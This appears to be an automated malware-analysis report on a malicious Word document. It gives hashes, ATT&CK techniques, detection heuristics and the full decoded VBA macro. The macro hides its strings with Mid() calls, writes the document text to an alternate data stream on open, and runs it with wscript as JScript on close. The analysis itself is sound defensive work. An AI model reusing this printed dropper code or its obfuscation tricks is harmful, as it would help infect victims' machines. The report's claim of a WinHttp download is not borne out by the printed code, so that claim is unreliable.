Malicious Office (OOXML) / .DOCX — malware analysis report

Static analysis result for SHA-256 34a63c4a1024b640…

MALICIOUS

Office (OOXML) / .DOCX

106.5 KB Created: 2019-07-29 05:47:00 UTC Authoring application: Microsoft Office Word 15.0000 First seen: 2026-06-12
MD5: 4980e4a387a8ebb0026ae2a55004ea2e SHA-1: 4c9fdd09a6bf852f63678a9065f0f6aa752cbfad SHA-256: 34a63c4a1024b640ffc7c7fc31aee69f3d22885b835b895ca1f9fedbb2a8da3a
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros. The macros utilize `CreateObject` and `CallByName` to execute commands, specifically attempting to download and run a payload from the path constructed as `ActiveDocument.AttachedTemplate.Path & "\" & "doc.are:you"`. The `WinHttp` object is referenced, indicating network activity for downloading the payload. The ClamAV detection further confirms its malicious nature as a dropper.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-7176530-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-7176530-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Debug.Print (CallByName(CreateObject(Dalore & "." & Misoper), Dalore & Nacorty, VbMethod, Dazaxok & Dalore, "w" & Masaz & " /" & Vasaxl & Masaz & " " & Chr(68 / 2) & Nexopla & Chr(68 / 2), Empty, Empty, 0))
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
    Matched line in script
        Debug.Print (CallByName(CreateObject(Dalore & "." & Misoper), Dalore & Nacorty, VbMethod, Dazaxok & Dalore, "w" & Masaz & " /" & Vasaxl & Masaz & " " & Chr(68 / 2) & Nexopla & Chr(68 / 2), Empty, Empty, 0))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2336 bytes
SHA-256: 90a2fe62c4ce054311e9849f3971ed304da58fdfb57d42511ce5fb48bc8e15ff
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Saport As String
Private Nexopla As String
Private Misoper As String
Private Dalore As String

Public Masaz As String
Public Dazaxok As String
Public Vasaxl As String
Public Nacorty As String


Function CompareList(ByVal arr1 As Variant, ByVal arr2 As Variant) As Boolean
    Dim i As Long
    For i = LBound(arr1) To UBound(arr1)
       If arr1(i) <> arr2(i) Then
          CompareList = False
          Exit Function
       End If
    Next i
    CompareList = True
End Function


Private Function Kolerasc()
Dazaxok = Mid("Power fighter!", 1, 6 - 1)
Vasaxl = Mid("The vic are:jomla.", 11, 3)
Nexopla = ActiveDocument.AttachedTemplate.Path & "\" & "doc.are:you"
Kolerasc = Nexopla
Nacorty = Mid("copexecute them", 4, 7)
End Function



Private Sub Blow()
Dim i As Integer
    
i = 0
'Will display 0,1,2,3,4,5,6,7,8,9
Do While i < 10
   Debug.Print i
   i = i + 1
Loop

    Debug.Print (CallByName(CreateObject(Dalore & "." & Misoper), Dalore & Nacorty, VbMethod, Dazaxok & Dalore, "w" & Masaz & " /" & Vasaxl & Masaz & " " & Chr(68 / 2) & Nexopla & Chr(68 / 2), Empty, Empty, 0))
End Sub


 
Private Sub Saburov()
  Dim Living As String, Interf As Integer
  Misoper = Mid("Re-application", 4, 10 + 1)
  
  Living = Kolerasc
  Interf = FreeFile
  Open Living For Binary Lock Read Write As #Interf
  Put #Interf, , ActiveDocument.Content.Text
  Close #Interf
  Dalore = Mid("Ghostinshell", 4 + 4, 5)
  Masaz = Mid("encode fscript", 9, 6)
End Sub

Private Sub Document_Open()
Saburov
End Sub

Private Sub Document_Close()
Blow
End Sub


Sub FortDev32()
SomeInThe (True)
PeekInSeem (0)
End Sub

Attribute VB_Name = "NewMacros"

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{799FA6DC-9AB2-4C1B-B0FD-D992372522BB}{929A51A5-B723-481B-8B04-AFDBC33847C4}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 48640 bytes
SHA-256: db181e4ea4df9b2b406c2e79c5b848dac293948c6292ef1a5c78bc85333cfc62
Detection
ClamAV: Doc.Dropper.Agent-7176530-0
Obfuscation or payload: unlikely